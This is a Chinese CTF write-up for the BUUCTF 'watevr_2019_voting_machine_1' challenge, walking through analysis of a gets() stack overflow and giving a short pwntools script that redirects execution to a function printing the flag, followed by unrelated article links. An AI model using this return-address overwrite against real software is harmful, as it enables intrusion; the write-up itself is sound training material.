PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持

远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。

file 查看文件。64 位 ELF 可执行文件。

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。

双击 v4,发现了栈溢出大小为 0x2+8=0x10。

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行 fopen("/home/ctf/flag.txt","r"),再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
from pwn import *
r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)
得到 flag。

PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持的更多相关文章
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
- redis成长之路——(七)
扩展性封装 虽说现在StackExchange.Redis免费,万一到时候和servicestack.redis一样要收费呢,所以先留一口,后续的可以再处理 实例代码点击这里查看 redis成长之路- ...
- redis成长之路——(六)
redis配置 为了码农在代码上只关心业务以及代码上的统一性,wenli.drive.redis内部使用配置来完成那些不同的场景,也就是说随便填填配置就能适应不同的场景! 当然配置多了码农也会受不了, ...
随机推荐
- SCAU 2019年校赛 部分题解
点击下方 veiw code 查看完整代码 18438 First Blood 题意:\(\sum_{i=1}^a\)\(\sum_{j=1}^b\)(i+j) , 求和. 思路:签到题,照着题目A就 ...
- Latex基本语法简记
公式插入方式 行内公式可用\(...\)或$...$ 例如$ f(x)=x^2 $,显示为 $ f(x)=x^2 $ 独立公式(单独另起一行,公式会居中),使用$$...$$或\[...\] 例如:$ ...
- C函数atoi()
C函数atoi() int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型). atoi() 函数的声明 int atoi(const c ...
- 一次性解决Github Enable two-factor authentication
一.背景 最近经常收到 github 的邮件: Hey XXXX! This is a reminder that we announced that we are requiring users c ...
- Linux touch命令的使用
用touch修改某文件的时间戳到当前时刻 xinlin@ubuntu:~$ ll test-rwxrw-r-- 1 xinlin xinlin 34 Sep 17 21:49 test*xinlin@ ...
- Java学习:工具类、构造器、实体类使用场景
封装的设计要求:合理隐藏.合理暴露 合理隐藏:创建成员变量时,使用private修饰 private int id; // 电影编号 合理暴露:创建成员方法时,使用public修饰的get方法和set ...
- B - Arithmetic Progressions(待解决
https://vjudge.net/contest/394066#problem/B https://vjudge.net/problem/Gym-102082B/origin 数据量大不能用数组查 ...
- Anything LLM+LM Studio+SearXNG实现私有模型开启联网功能
一.Anything LLM简介 一个全栈应用程序,使您能够将任何文档.资源或内容转换为上下文,任何LLM都可以在聊天过程中将其用作参考.此应用程序允许您选择要使用的LLM或矢量数据库,并支持多用户管 ...
- C++用栈实现先入先出队列相关知识与代码实现
1.栈(stack)的基本知识 C++的栈是一种数据结构,它是一个后进先出(LIFO)的线性结构,具有两个基本操作:push和pop. push操作将数据压入栈顶,而pop操作将栈顶数据弹出.C++中 ...
- pyinstaller 发布fastapi 闪退
import uvicorn from fastapi import FastAPI app = FastAPI() @app.get("/") def root(): retur ...